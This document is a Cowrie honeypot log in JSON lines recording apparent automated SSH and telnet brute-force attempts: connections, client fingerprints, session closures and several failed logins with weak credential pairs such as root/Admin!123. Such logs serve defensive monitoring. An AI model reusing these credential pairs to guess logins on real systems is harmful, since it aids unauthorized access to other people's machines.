{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:57.684227Z","src_ip":"139.59.208.49","session":"bdb0bcaf8da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":45856,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f3c0f42a640","protocol":"ssh","message":"New connection: 211.106.137.135:45856 (10.17.0.5:22) [session: 2f3c0f42a640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:03.460851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:03.464735Z","src_ip":"211.106.137.135","session":"2f3c0f42a640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:03.673354Z","src_ip":"211.106.137.135","session":"2f3c0f42a640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp@123","message":"login attempt [erp/erp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:04.503387Z","src_ip":"211.106.137.135","session":"2f3c0f42a640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:05.724367Z","src_ip":"211.106.137.135","session":"2f3c0f42a640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":38062,"dst_ip":"10.17.0.5","dst_port":22,"session":"473aca647c37","protocol":"ssh","message":"New connection: 154.116.254.157:38062 (10.17.0.5:22) [session: 473aca647c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:15.467018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:15.471453Z","src_ip":"154.116.254.157","session":"473aca647c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:15.637688Z","src_ip":"154.116.254.157","session":"473aca647c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin!123","message":"login attempt [root/Admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:16.338020Z","src_ip":"154.116.254.157","session":"473aca647c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":38010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f521bfc8854","protocol":"ssh","message":"New connection: 152.53.185.81:38010 (10.17.0.5:22) [session: 6f521bfc8854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:17.415264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:17.419699Z","src_ip":"152.53.185.81","session":"6f521bfc8854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:17.510710Z","src_ip":"154.116.254.157","session":"473aca647c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:17.515056Z","src_ip":"152.53.185.81","session":"6f521bfc8854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456!","message":"login attempt [root/aB123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:17.897948Z","src_ip":"152.53.185.81","session":"6f521bfc8854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:18.990085Z","src_ip":"152.53.185.81","session":"6f521bfc8854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":58082,"dst_ip":"159.203.135.109","dst_port":22,"session":"eab53b0d00a2","protocol":"ssh","message":"New connection: 103.97.101.25:58082 (159.203.135.109:22) [session: eab53b0d00a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:19.971489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:19.975592Z","src_ip":"103.97.101.25","session":"eab53b0d00a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:20.210744Z","src_ip":"103.97.101.25","session":"eab53b0d00a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cf123456.","message":"login attempt [root/Cf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:21.186160Z","src_ip":"103.97.101.25","session":"eab53b0d00a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":1558,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6774d143d88","protocol":"telnet","message":"New connection: 34.156.69.162:1558 (159.203.135.109:23) [session: f6774d143d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:21.801762Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":1562,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e31c0884862","protocol":"telnet","message":"New connection: 34.156.69.162:1562 (159.203.135.109:23) [session: 0e31c0884862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:21.960007Z"}
{"eventid":"cowrie.session.closed","duration":0.005095481872558594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:21.964988Z","src_ip":"34.156.69.162","session":"0e31c0884862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41492,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4424faf376","protocol":"telnet","message":"New connection: 34.156.69.162:41492 (159.203.135.109:23) [session: ab4424faf376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:22.117057Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:22.424358Z","src_ip":"103.97.101.25","session":"eab53b0d00a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55256,"dst_ip":"159.203.135.109","dst_port":22,"session":"76aad6de08f8","protocol":"ssh","message":"New connection: 103.15.222.183:55256 (159.203.135.109:22) [session: 76aad6de08f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:23.538146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:23.541931Z","src_ip":"103.15.222.183","session":"76aad6de08f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:23.774691Z","src_ip":"103.15.222.183","session":"76aad6de08f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.397255Z","src_ip":"8.210.75.243","session":"7fab88885d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":38740,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d90ba8b87d","protocol":"ssh","message":"New connection: 147.45.51.138:38740 (10.17.0.5:22) [session: a9d90ba8b87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.421865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.425784Z","src_ip":"147.45.51.138","session":"a9d90ba8b87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290892","message":"login attempt [root/290892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.472679Z","src_ip":"103.15.222.183","session":"76aad6de08f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.516451Z","src_ip":"147.45.51.138","session":"a9d90ba8b87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123123","message":"login attempt [root/asdf123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:24.902134Z","src_ip":"147.45.51.138","session":"a9d90ba8b87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:25.709552Z","src_ip":"103.15.222.183","session":"76aad6de08f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:25.993166Z","src_ip":"147.45.51.138","session":"a9d90ba8b87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.551584959030151,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:28.353215Z","src_ip":"34.156.69.162","session":"f6774d143d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41504,"dst_ip":"159.203.135.109","dst_port":23,"session":"052a28aac0a9","protocol":"telnet","message":"New connection: 34.156.69.162:41504 (159.203.135.109:23) [session: 052a28aac0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.272357Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.277308Z","src_ip":"34.156.69.162","session":"052a28aac0a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.280936Z","src_ip":"34.156.69.162","session":"052a28aac0a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09454226493835449,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.366737Z","src_ip":"34.156.69.162","session":"052a28aac0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c1438588231","protocol":"telnet","message":"New connection: 34.156.69.162:41512 (159.203.135.109:23) [session: 8c1438588231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.438633Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41516,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f0a54fcabb","protocol":"telnet","message":"New connection: 34.156.69.162:41516 (159.203.135.109:23) [session: c9f0a54fcabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.594069Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41526,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d86e78cbcb","protocol":"telnet","message":"New connection: 34.156.69.162:41526 (159.203.135.109:23) [session: 46d86e78cbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.750924Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41530,"dst_ip":"159.203.135.109","dst_port":23,"session":"722fc01a16f2","protocol":"telnet","message":"New connection: 34.156.69.162:41530 (159.203.135.109:23) [session: 722fc01a16f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:31.905256Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":41536,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c0b6c21f46","protocol":"telnet","message":"New connection: 34.156.69.162:41536 (159.203.135.109:23) [session: c4c0b6c21f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.058831Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":1980,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc06ad60c1ae","protocol":"telnet","message":"New connection: 34.156.69.162:1980 (159.203.135.109:23) [session: cc06ad60c1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.212425Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":1990,"dst_ip":"159.203.135.109","dst_port":23,"session":"c986f112049c","protocol":"telnet","message":"New connection: 34.156.69.162:1990 (159.203.135.109:23) [session: c986f112049c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.367512Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":1996,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5eca7c5776","protocol":"telnet","message":"New connection: 34.156.69.162:1996 (159.203.135.109:23) [session: 7a5eca7c5776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.522499Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2006,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ce02691161c","protocol":"telnet","message":"New connection: 34.156.69.162:2006 (159.203.135.109:23) [session: 3ce02691161c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.676672Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2010,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9209d202475","protocol":"telnet","message":"New connection: 34.156.69.162:2010 (159.203.135.109:23) [session: f9209d202475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:32.908015Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2014,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa1a502c273","protocol":"telnet","message":"New connection: 34.156.69.162:2014 (159.203.135.109:23) [session: daa1a502c273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.061740Z"}
{"eventid":"cowrie.session.closed","duration":0.003504037857055664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.065136Z","src_ip":"34.156.69.162","session":"daa1a502c273","protocol":"telnet"}
